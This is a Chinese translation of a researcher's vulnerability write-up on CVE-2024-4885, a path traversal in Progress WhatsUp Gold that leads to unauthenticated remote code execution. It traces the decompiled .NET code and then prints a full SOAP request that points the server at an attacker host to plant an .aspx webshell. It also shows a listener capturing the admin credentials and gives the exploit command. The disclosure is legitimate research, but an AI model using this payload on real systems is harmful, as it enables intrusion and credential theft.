结论
我发现针对最新版 Progress Whatsup Gold 存在未经身份验证的路径遍历,并将其转化为预授权 RCE,以下是我实现的方法
简介(又是 TLDR)
4 月 24 日,我报告了针对最新版 Progress Whatsup Gold 的路径遍历漏洞,该漏洞可导致未经身份验证的远程代码执行。7 月 3 日,ZDI 的工作人员发布了相关公告。
什么是 WhatsUp Gold
当时,供应商网站上对该产品的众多定义之一是:
WhatsUp Gold 提供对云端或本地应用程序、网络设备和服务器的状态和性能的完整可见性。
但我将其描述为合法的 C2,您可以在其中管理各种受害者(即最终用户),并将他们的凭据存储在此软件中,以便远程管理他们,例如:
-
你可以存储 SMB 凭据,用于在任何你想要的最终用户计算机上运行 powershell 命令
-
你可以存储 SSH 凭据来执行你想要的任何命令
-
您可以存储思科交换机/路由器凭证以远程运行管理命令
-
你可以,你明白了
所有这些的目的之一是能够从这些端点收集性能信息,另一个目的显然是远程管理它们,或者像我想说的那样远程执行命令,这里我们关心的是漏洞利用,所以这些信息足以知道一旦弹出这个软件,某人可能会得到什么东西,这可能是您添加到这个软件中的整个用户/机器/交换机/路由器网络。
高级.NET利用
今天的 PoC 赞助商是我,如果你很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的高级 .NET 漏洞利用培训,请注册并让我教你所有你需要的有关 .net 相关漏洞的知识,比如利用 WCF(Windows 通信基础)、复杂的反序列化、许多其他点击诱饵标题以及如何在 .net 目标上弹出 shellz
漏洞
这里的漏洞很简单,但让我们一步一步来,该NmApi.exe进程监听端口 9642 和 9643,这两个端口都用于公开 .NET WCF 服务,这两个 wcf 服务的配置已在文件中.config定义C:Program Files (x86)IpswitchWhatsUpNmAPI.exe.config
第 10 行声明了对 WCF 类型的支持,basicHttpBinding并标注了BasicHttpBinding_ICoreServices超时等其他配置
第 41 行定义了契约的端点IRecurringReportServices,并将绑定类型设置为,basicHttpBinding地址设置为。RecurringReport 第 58 行定义了两个可用的 WCF 服务的基地址,第 59 行定义了basicHttpBinding
1: <system.serviceModel>
2: <bindings>
3: <netTcpBinding>
4: <binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
5: <readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
6: <reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
7: <security mode="None"/>
8: </binding>
9: </netTcpBinding>
10: <basicHttpBinding>
11: <binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12: <readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13: </binding>
14: </basicHttpBinding>
15: </bindings>
16: <behaviors>
17: <endpointBehaviors>
18: <behavior name="webHttpBehavior">
19: <webHttp/>
20: </behavior>
21: </endpointBehaviors>
22: <serviceBehaviors>
23: <behavior name="NmAPI.CoreServicesBehavior">
24: <serviceMetadata httpGetEnabled="false"/>
25: <serviceDebug includeExceptionDetailInFaults="true"/>
26: </behavior>
27: <behavior name="NmAPI.VirtualizationServicesBehavior">
28: <serviceMetadata httpGetEnabled="false"/>
29: <serviceDebug includeExceptionDetailInFaults="true"/>
30: </behavior>
31: </serviceBehaviors>
32: </behaviors>
33: <services>
34: <service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35: <endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36: <endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37: <identity>
38: <dns value="localhost"/>
39: </identity>
40: </endpoint>
41: <endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42: <identity>
43: <dns value="localhost"/>
44: </identity>
45: </endpoint>
46: <endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47: <identity>
48: <dns value="localhost"/>
49: </identity>
50: </endpoint>
51: <endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52: <identity>
53: <dns value="localhost"/>
54: </identity>
55: </endpoint>
56: <!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57: <host>
58: <baseAddresses>
59: <add baseAddress="http://localhost:9642/NmAPI"/>
60: <add baseAddress="net.tcp://localhost:9643"/>
61: </baseAddresses>
62: </host>
63: </service>
64: <service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65: <endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66: <endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67: <!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68: <host>
69: <baseAddresses>
70: <add baseAddress="http://localhost:9676"/>
71: </baseAddresses>
72: </host>
73: </service>
74: </services>
75: <diagnostics>
76: <!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77: <!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78: <messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79: <filters>
80: <clear/>
81: </filters>
82: </messageLogging>
83: </diagnostics>
84: </system.serviceModel>
Eagle Eye 会注意到所述 WCF 端点的安全设置,实际上,它会注意到 HTTP 绑定中“缺少”该设置。Microsoft 描述了默认设置,<security>如下basicHttpBinding所示
“mode”属性是“可选”的,指定所使用的安全类型。默认值为 None。此属性的类型为 BasicHttpSecurityMode。-谨致,Microsoft
using System;
using System.ServiceModel;
using WUGDataAccess.Core.DataContracts;
using WUGDataAccess.RecurringReports.DataContracts;
namespace NmAPI
{
[ServiceContract]
public interface IRecurringReportServices
{
[OperationContract]
EntityRecurringReport AddRecurringReport(EntityRecurringReport rr);
[OperationContract]
EntityRecurringReport GetRecurringReport(int recurringReportID);
[OperationContract]
EntityRecurringReport[] GetAllRecurringReports();
[OperationContract]
bool UpdateRecurringReport(EntityRecurringReport rr);
[OperationContract]
bool EnableRecurringReports(int[] recurringReportIDs);
[OperationContract]
bool DisableRecurringReports(int[] recurringReportIDs);
[OperationContract]
void DeleteRecurringReports(int[] recurringReportIDs);
[OperationContract]
int ExportToPDF(string url, int webUserID, EntityReportExportOptions exportOptions);
[OperationContract]
int EmailPDF(string url, int webUserID, EntityReportExportOptions exportOptions, EntityEmailSettings emailSettings);
[OperationContract]
int TestRecurringReport(EntityRecurringReport rr);
[OperationContract]
EntityRecurringReportProgress GetProgress(int taskID);
[OperationContract]
DateTime GetNextRunTime(EntityScheduleSettings schedule);
}
}
让我们看一下该方法的实现,该方法需要一个需要命名为TestRecurringReport变量的类型的参数, 该变量被传递给内部任务调度程序,通过调用来执行此操作作为异步任务WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport rr rr AddOneTimeTask
1: public int TestRecurringReport(EntityRecurringReport rr)
2: {
3: return RecurringReportScheduleManager.Instance.AddOneTimeTask(rr);
4: }
以下AddOneTimeTask方法将期望该rr值,并且在行 (3) 获取任务锁之后,它将通过向其传递 3 个参数来实例化RecurringReportTask AKA 类的NmAPI.RecurringReportTask.RecurringReportTask实例,其中最后一个参数对我们很重要(rr 参数)在创建此类/任务的实例后,设置一些属性,例如行 (15) 的任务持续时间和一些其他设置,接下来,在第 (17) 行启动任务,然后将任务添加到任务管理器队列中(第 (18) 行)进行管理。
1: public int AddOneTimeTask(EntityRecurringReport rr)
2: {
3: RecurringReportScheduleManager.taskDictionaryLock.EnterWriteLock();
4: try
5: {
6: if (!this.failoverActive)
7: {
8: RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Failover has turn off scheduled reports because it is not the active system.");
9: return -1;
10: }
11: RecurringReportScheduleManager.taskCounter++;
12: rr.Schedule = null;
13: RecurringReportTask recurringReportTask = new RecurringReportTask(RecurringReportScheduleManager.taskCounter, true, rr);
14: RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Creating AddOneTimeTask task =" + recurringReportTask.Name + " taskCounter=" + RecurringReportScheduleManager.taskCounter.ToString());
15: recurringReportTask.DueTime = 1000;
16: recurringReportTask.Period = 1000;
17: recurringReportTask.Start();
18: RecurringReportScheduleManager.recurringReportTasks.Add(RecurringReportScheduleManager.taskCounter, recurringReportTask);
19: }
20: finally
21: {
22: RecurringReportScheduleManager.taskDictionaryLock.ExitWriteLock();
23: }
24: return RecurringReportScheduleManager.taskCounter;
25: }
让我们看一下RecurringReportTask实现,它相当简单,但有一个重要的注意事项,即分配this.rr。以下是RecurringReportTask我们之前实例化的实现,您可能想知道taskID和oneTimeTask来自哪里,这些是我们之前看到的传递的 3 个参数的一部分,它们对我们来说并不重要,这里重要的是recurringReport将用于设置this.rr当前报告任务属性的变量,然后执行一些其他方法,这些方法再次用于异步任务执行,现在,虽然这里不可见,但内部任务管理器间接调用的下一个方法是TaskCallback
1: public RecurringReportTask(int taskID, bool oneTimeTask, EntityRecurringReport recurringReport)
2: {
3: this.TaskID = taskID;
4: this.OneTimeTask = oneTimeTask;
5: this.rr = recurringReport;
6: this.UpdateProgress(TaskState.Initializing, 0, "Initializing...");
7: this.UpdateProgress(null);
8: }
AKA是一个重写方法,任何继承的类都需要重写该TaskCallback方法,以定义通过内部任务管理器启动任务后调用的实际逻辑。请记住,此方法是之前设置属性的同一类的一部分。`NmAPI.RecurringReportTask.TaskCallback` `WhatsUp.Core.ScheduledTask` `this.rr`
该方法乍一看可能很复杂,但实际上并不复杂,从方法名称中你可以猜出该方法的目的是生成报告,而为了做到这一点,这些语句只是在传递的对象中寻找rr攻击者可控制的报告生成设置,所以让我们来谈谈我们希望代码指向哪里
我们感兴趣的是调用该this.GenerateOutputFile方法,为了做到这一点,看第 (27) 行,我们只需要为 提供除“pdf”之外的其他内容this.rr.ExportOptions.ExportType,如果我们设法使this.rr.ExportOptions.ExportType == "pdf"条件为假,则else执行该子句,该子句首先检查第 (35) 行的文件系统上是否有足够的空间,然后在第 (37) 行this.GenerateOutputFile调用 并传递this.rr,让我们继续查看GenerateOutputFile实现
1: public override void TaskCallback(object obj)
2: {
3: if (!base.CanRun())
4: {
5: return;
6: }
7: base.TaskCallback(obj);
8: this._trace.TraceInformation("{0}:Initializing...", new object[] { this.TaskID });
9: if (this.rr.ExportOptions.ExportType == "")
10: {
11: this.rr.ExportOptions.ExportType = "pdf";
12: }
13: EntityReportExportOptions exportOptions = this.rr.ExportOptions;
14: string extension = RecurringReportTask.GetExtension(this.rr);
15: string text = null;
16: string text2 = null;
17: byte[] array = null;
18: DateTime dateTime = this.CalculateNextRunTime(this.rr);
19: while (DateTime.Now < dateTime)
20: {
21: if (this.Canceled)
22: {
23: return;
24: }
25: Thread.Sleep(TimeSpan.FromSeconds(1.0));
26: }
27: if (this.rr.ExportOptions.ExportType == "pdf")
28: {
29: string text3 = this.rr.Name + " " + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
30: text3 = text3 + "<br><br>" + this.rr.ExportOptions.PdfMessage;
31: this.SendEmailForPdf(text3, null);
32: }
33: else
34: {
35: if (new DriveInfo(Directory.GetDirectoryRoot(this.rr.ExportOptions.WebExportDirectory)).AvailableFreeSpace > 104857600L)
36: {
37: text = this.GenerateOutputFile(this.rr);
38: }
39: if (string.IsNullOrEmpty(text))
40: {
41: this.UpdateProgress(TaskState.Failed, 100, "Failed to generate output file!nCheck the available disk space!");
42: }
43: else
44: {
45: try
46: {
47: text2 = Path.GetFileName(text);
48: array = File.ReadAllBytes(text);
49: }
50: catch (Exception ex)
51: {
52: this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to read output file!n" + ex.Message);
53: }
54: }
55: if (array != null && this.rr.ExportOptions.ToMail)
56: {
57: this.UpdateProgress(TaskState.Running, 70, "Sending email to " + this.rr.EmailSettings.SendTo);
58: try
59: {
60: this.SendEmail(array, text2, extension, null, null);
61: }
62: catch (Exception ex2)
63: {
64: this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to send Email!n" + ex2.Message);
65: }
66: }
67: }
68: if (this.Progress.State != TaskState.Failed)
69: {
70: this.UpdateProgress(TaskState.Complete, 100, "Finished.");
71: }
72: if (this.OneTimeTask)
73: {
74: base.Stop();
75: }
76: else
77: {
78: base.TaskCallbackEnd(obj);
79: }
80: this.LastActiveTime = DateTime.Now;
81: }
将GenerateOutputFile接受参数,首先它将根据内部的属性rr定义一个变量,您可能会认为这将是某种东西,但不要让变量名称欺骗您,继续在第 (10) 行使用属性的值设置另一个名为的变量,然后在第 (11)行通过调用检查变量是否为有效的 url
rr.URL
http(s)://.....
webExportDirectory
rr.ExportOptions.WebExportDirectory
url
RecurringReportTask.IsJson
现在我们感兴趣的是到达调用该GetFileWithoutZip方法的第 (24) 行,为了实现这一点,我们需要将rr.ExportOptions.ToMail属性设置为 true 以满足第 (16) 行的条件,然后将属性设置rr.ExportOptions.ZipEnabled为 false 以满足第 (18) 行的条件,这将到达第 (24) 行的else子句并调用该方法,GetFileWithoutZip并传递以下参数:
-
url包含 JSON blob
-
webExportDirectory它的值被分配自rr.ExportOptions.WebExportDirectory
-
常数false
-
最后,rr这也在我们的控制之下
让我们继续看看实现GetFileWithoutZip
1: private string GenerateOutputFile(EntityRecurringReport rr)
2: {
3: string url = rr.URL;
4: string extension = RecurringReportTask.GetExtension(rr);
5: this.UpdateProgress(TaskState.Running, 10, string.Format("Generating {0} for the URL: {1}", extension.ToUpper(), url));
6: string text2;
7: try
8: {
9: Export exporterInstance = this.getExporterInstance(rr);
10: string webExportDirectory = rr.ExportOptions.WebExportDirectory;
11: if (!RecurringReportTask.IsJson(url))
12: {
13: throw new NotSupportedException("PDF export is not supported. Please convert to HTML export.");
14: }
15: string text;
16: if (rr.ExportOptions.ToMail)
17: {
18: if (rr.ExportOptions.ZipEnabled)
19: {
20: text = exporterInstance.GetFile(url, webExportDirectory, rr);
21: }
22: else
23: {
24: text = exporterInstance.GetFileWithoutZip(url, webExportDirectory, false, rr);
25: }
26: }
27: else if (rr.ExportOptions.ZipEnabled)
28: {
29: text = exporterInstance.SaveFile(url, webExportDirectory, rr);
30: }
31: else
32: {
33: text = exporterInstance.SaveFileWithoutZip(url, webExportDirectory, false, rr);
34: }
35: this.UpdateProgress(text);
36: this.UpdateProgress(TaskState.Running, 70, "File generated successfully.");
37: text2 = text;
38: }
39: catch (Exception ex)
40: {
41: string text3 = This.Where(false, "GenerateOutputFile", "C:\a\WUG\WUG\Project\Source\Source\NmAPI\RecurringReportTask.cs", 233);
42: string text4 = Log.ExceptionMessage(ex, "");
43: this.UpdateProgress(TaskState.Failed, 100, string.Concat(new string[]
44: {
45: "Failed while generating ",
46: extension.ToUpper(),
47: ": ",
48: text3,
49: " ",
50: text4
51: }));
52: text2 = null;
53: }
54: return text2;
55: }
(开始查看下面的代码)首先,攻击者控制的路径(来自名为的参数)folder用于在第(3)行构造路径,返回值Path.Combine覆盖folder变量值,接下来在第(4)行清理文件夹,如果目录不存在(第 5 行),则创建该目录(第 7 行)
现在json变量(源自前一个函数url变量)用于调用一个非常重要的方法this.getreport,现在在我进入这个函数并解释它的机制之前,让我们先了解一下这个函数的返回值是如何使用的
返回值被放置在<string, string>第 (11) 行的一个字典中,然后经过一些健全性检查以处理第 (12,16) 行中的潜在异常和空值,如果一切正常,那么如果rr.ExportOptions.ExportType满足第 26 行的条件,那么在第 (24) 行创建的实例StringBuilder用于附加第 30 行和第 31 行的字典成员的值
因此,到目前为止,我们知道该this.getReport方法返回的是一个 <string, string> 字典,它会循环并将成员变成一个字符串,然后在第 33 行到第 40 行,调用字符串连接来为要保存的报告制作一个文件名,并且这个报告名称会在第 41 行与我们之前讨论过的变量结合使用,为要创建的报告创建绝对路径,并通过在第 (42) 行调用来folder将其内容设置为stringBuilder File.WriteAllText
谜题已经开始显现,鹰眼会想,我们如何控制路径以及如何控制字典成员,我们能利用rr.Name属性吗?那么字典成员呢,我们需要研究吗getReport?第一个问题的答案是,progress 的开发人员试图变得聪明,他们rr.Name用一个调用包装了属性,this.ValidName而没有让你厌烦它的细节,它是为了防止路径遍历,通过确保文件名不包含无效字符,例如但. / : etc 他们忘记了这folder部分,那部分没有任何验证,所以如果给定的folder是类似的东西C:\controlled-path,那么生成的路径将是C:\controlled-path\Data\ExportedReports\SAFE_2024-00-00_00-00-00.aspx
等等,这个是.aspx从哪里来的?好问题,你看到text第 39 行使用的这个是从哪里来的,this.getReport现在让我们看看这个方法,如果我们可以影响它的返回值(它是一个字典)和传递的引用参数(这将out text是扩展),我们就可以实现一个写入什么位置的原语,从而产生 RCE
1: public string GetFileWithoutZip(string json, string folder, bool preview, EntityRecurringReport rr)
2: {
3: folder = Path.Combine(folder, "Data\ExportedReports\");
4: this.CleanupFiles(folder);
5: if (!Directory.Exists(folder))
6: {
7: Directory.CreateDirectory(folder);
8: }
9: string text;
10: string text2;
11: Dictionary<string, string> report = this.getReport(json, out text, out text2);
12: if (report.ContainsKey("exception"))
13: {
14: throw new Exception(report["exception"]);
15: }
16: if (!report.Any<KeyValuePair<string, string>>())
17: {
18: throw new Exception("No files were generated");
19: }
20: if (preview)
21: {
22: text = "html";
23: }
24: StringBuilder stringBuilder = new StringBuilder();
25: string text4;
26: if (rr.ExportOptions.ExportType != "xml")
27: {
28: foreach (KeyValuePair<string, string> keyValuePair in report)
29: {
30: stringBuilder.Append(keyValuePair.Value);
31: stringBuilder.Append(Environment.NewLine);
32: }
33: string text3 = string.Concat(new string[]
34: {
35: this.ValidName(rr.Name),
36: "_",
37: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
38: ".",
39: text
40: });
41: text4 = Path.Combine(folder, text3);
42: File.WriteAllText(text4, stringBuilder.ToString());
43: }
44: else
45: {
46: string text5 = report.Values.First<string>();
47: string text6 = "";
48: report.Remove(report.Keys.First<string>());
49: foreach (KeyValuePair<string, string> keyValuePair2 in report)
50: {
51: string value = keyValuePair2.Value;
52: XmlDocument xmlDocument = new XmlDocument();
53: xmlDocument.LoadXml(value);
54: string outerXml = xmlDocument.GetElementsByTagName("Table")[0].OuterXml;
55: text6 = text6 + Environment.NewLine + outerXml;
56: }
57: text5 = text5.Replace("</Table>", "</Table>" + Environment.NewLine + text6);
58: stringBuilder.Append(text5);
59: string text7 = string.Concat(new string[]
60: {
61: this.ValidName(rr.Name),
62: "_",
63: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
64: ".",
65: text
66: });
67: text4 = Path.Combine(folder, text7);
68: File.WriteAllText(text4, stringBuilder.ToString());
69: }
70: return text4;
71: }
当WhatsUp.ExportUtilities.Export.getReport调用时,会传递 3 个参数,json变量包含提供的 json 配置设置,这在这里非常重要,另外两个是out string extension只是通过引用传递的两个变量。
第 (3) 行将反序列化 json 对象并将其存储在名为 的变量中,jobject该变量的类型为,然后执行JObject一个子句,该子句将首先实例化一个实例,并将该对象分配给名为`using` `new HttpClient()` `httpClient`
接下来,在第 (9) 行,代码将从baseUrl先前反序列化的 json 配置 blob 中提取密钥,并分配完全在我们的控制之下的对象BaseAddress的属性httpClient,现在基本 url 已设置,在第 (12) 行启动一个有趣的调用,WebUserConfig.Get它将使用传递userId来自我们控制jobject变量的成员并通过引用传递两个变量,这是一个很酷的函数,给定一个userId它将检索您喜欢的任何用户的用户名和密码 ^_^ 并且如前所述,userId完全在我们的控制之下,用户名放在empty变量中,密码放在变量中,empty2人们可能会说这是一种很棒的变量命名方式
chad:命名变量对于提高代码的可读性很重要
dev:是的,但是我不能被操
一旦 httpClient 准备就绪,就会在第 (14) 行GET发送一个请求,通过调用来验证远程服务器是否接受所提供的凭据GetStringAsync(text).GetAwaiter().GetResult(),之后在第 (15) 行将 uri 路径更改为,并通过提供方法和变量来api/core/render实例化`HttpRequestMessage` `PUT` `text` `api/core/render`
接下来,在第 (19) 行调用异步调用来检索结果,一旦请求完成,就会获取结果并将其放置在result2第 (21) 行的变量中
因为我们可以控制这个请求的去向,我们可以将它指向我们的恶意服务器并返回一个中毒的响应,然后使用结果填充第 (24) 行的字典并将其返回给调用者,同样在第 (23) 行,我们会注意到extension也使用jobject名为的成员填充了该字典renderType,它也在我们的控制之下,这回答了aspx之前的问题
最后,在第 (26) 行,将中毒信息dictionary返回给调用者
现在我们知道了,我们可以让该getReport函数向我们的恶意服务器发送 HTTP 请求,以检索中毒响应,该响应的内容将用作文件的内容,扩展名也可以通过jobject名为renderType的成员进行控制
注意:你可能已经注意到在第 (13) 行构造的路径将包含 whatsup gold 管理员帐户的用户名和密码,虽然它看起来很酷,但在这里会产生第三个影响(来自调用者的文件写入、此处的 SSRF、潜在的 cred 泄漏等)你最好忘掉 cred 泄漏(或者你应该忘掉它吗?)因为密码是使用密钥加密的,而该密钥对于产品的每个安装实例都是唯一的(嘘,也许还有很长的路要走 ^_^)
1: private Dictionary<string, string> getReport(string json, out string extension, out string title)
2: {
3: JObject jobject = JsonConvert.DeserializeObject<JObject>(json);
4: Dictionary<string, string> dictionary;
5: using (HttpClient httpClient = new HttpClient())
6: {
7: httpClient.DefaultRequestHeaders.Clear();
8: httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
9: httpClient.BaseAddress = new Uri((string)jobject["baseUrl"]);
10: string empty = string.Empty;
11: string empty2 = string.Empty;
12: WebUserConfig.Get((int)jobject["userId"], ref empty, ref empty2);
13: string text = string.Format("Session/Login/?sUsername={0}&sPassword={1}", empty, empty2);
14: httpClient.GetStringAsync(text).GetAwaiter().GetResult();
15: text = "api/core/render";
16: HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Put, text);
17: StringContent stringContent = new StringContent(json, Encoding.UTF8, "application/json");
18: httpRequestMessage.Content = stringContent;
19: HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).GetAwaiter().GetResult();
20: result.EnsureSuccessStatusCode();
21: string result2 = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
22: title = (string)jobject["title"];
23: extension = (string)jobject["renderType"];
24: dictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(result2);
25: }
26: return dictionary;
27: }
现在我们需要的是制作符合rr变量结构的正确类型的请求WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport,该类型的请求可以如下所示
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<TestRecurringReport xmlns="http://tempuri.org/">
<rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<a:AlternateHost i:nil="true" />
<a:Disabled>false</a:Disabled>
<a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:Authentication>None</b:Authentication>
<b:CredentialsId i:nil="true" />
<b:DirectoryPath>C:PROGRA~2IpswitchWhatsUpDataScheduledReports</b:DirectoryPath>
<b:Password />
<b:Port>25</b:Port>
<b:SMTPServer />
<b:SendFrom>[email protected]</b:SendFrom>
<b:SendTo i:nil="true" />
<b:Subject>Emailing: Wireless Log</b:Subject>
<b:TimeoutSec>30</b:TimeoutSec>
<b:UseEncryptedConn>false</b:UseEncryptedConn>
<b:Username />
</a:EmailSettings>
<a:ExportOptions>
<a:AuthorName>WhatsUp Gold</a:AuthorName>
<a:AutosizePDFPage>true</a:AutosizePDFPage>
<a:AvoidImageBreak>false</a:AvoidImageBreak>
<a:AvoidTextBreak>true</a:AvoidTextBreak>
<a:BrowserPageHeight>0</a:BrowserPageHeight>
<a:BrowserPageWidth>0</a:BrowserPageWidth>
<a:ConversionDelay>3</a:ConversionDelay>
<a:CustomPageHeight>0</a:CustomPageHeight>
<a:CustomPageWidth>0</a:CustomPageWidth>
<a:ExportAuthToken />
<a:ExportType>html</a:ExportType>
<a:FitHeight>false</a:FitHeight>
<a:FitWidth>false</a:FitWidth>
<a:InternalLinksEnabled>false</a:InternalLinksEnabled>
<a:LiveURLsEnabled>false</a:LiveURLsEnabled>
<a:NavigationTimeout>240</a:NavigationTimeout>
<a:PageOrientation>Portrait</a:PageOrientation>
<a:PageSize>Letter</a:PageSize>
<a:PdfMessage>html</a:PdfMessage>
<a:PreviewEnabled>false</a:PreviewEnabled>
<a:Subject i:nil="true" />
<a:TimeFormat>g:i:s a</a:TimeFormat>
<a:Title i:nil="true" />
<a:ToMail>true</a:ToMail>
<a:WebExportDirectory>C:Program Files (x86)IpswitchWhatsUphtmlNmConsole</a:WebExportDirectory>
<a:ZipEnabled>false</a:ZipEnabled>
</a:ExportOptions>
<a:IncludeURLInEmail>false</a:IncludeURLInEmail>
<a:Name>webshell</a:Name>
<a:NextRun i:nil="true" />
<a:RecurringReportID>-1</a:RecurringReportID>
<a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:DailyDays>1</b:DailyDays>
<b:DailyOptions>Interval</b:DailyOptions>
<b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
</b:DaysOfTheWeek>
<b:MonthlyDayMonths>1</b:MonthlyDayMonths>
<b:MonthlyDayNumber>3</b:MonthlyDayNumber>
<b:MonthlyOptions>DayOfMonth</b:MonthlyOptions>
<b:MonthlyRecur>First</b:MonthlyRecur>
<b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay>
<b:MonthlyRecurMonths>1</b:MonthlyRecurMonths>
<b:RecurringInterval>1</b:RecurringInterval>
<b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals>
<b:ScheduleType>TimeInterval</b:ScheduleType>
<b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime>
<b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate>
<b:WeeklyWeeks>1</b:WeeklyWeeks>
<b:YearlyDayOfMonth>3</b:YearlyDayOfMonth>
<b:YearlyMonthRecur>First</b:YearlyMonthRecur>
<b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay>
<b:YearlyMonths>March</b:YearlyMonths>
<b:YearlyOptions>DayOfYear</b:YearlyOptions>
<b:YearlyRecurMonth>March</b:YearlyRecurMonth>
</a:Schedule>
<a:URL>
{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date
Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[
No records found
]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://192.168.0.181:1337/","userId":1}
</a:URL>
<a:WebUserID>1</a:WebUserID>
<a:WebUserName>admin</a:WebUserName>
</rr>
</TestRecurringReport>
</s:Body>
</s:Envelope>
运行一个简单的监听器,你会收到以下请求
ncat -lvvnp 1337
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.0.231:4605.
GET /Session/Login/?sUsername=admin&sPassword=223,255,226,50,2,247,71,87,99 HTTP/1.1
Accept: application/json
Host: 192.168.0.181:1337
Connection: Keep-Alive
现在构建一个恶意服务器很容易,如果操作正确,你会得到:
事情是这样的:
概念验证
你可以在以下github 存储库中找到该漏洞
https://github.com/sinsinology/CVE-2024-4885
python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:1337 -f hax.aspx
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
(^_^) Prepare for the Pwnage (^_^)
(+) Sending payload to http://192.168.0.231:9642/NmConsole/ReportService.asmx
(*) Callback server listening on http://192.168.0.181:1337
(+) Payload sent successfully
(*) Checking if target is using HTTPS or HTTP https://192.168.0.231/NmConsole/
exploit done!
(*) Target host: https://192.168.0.231
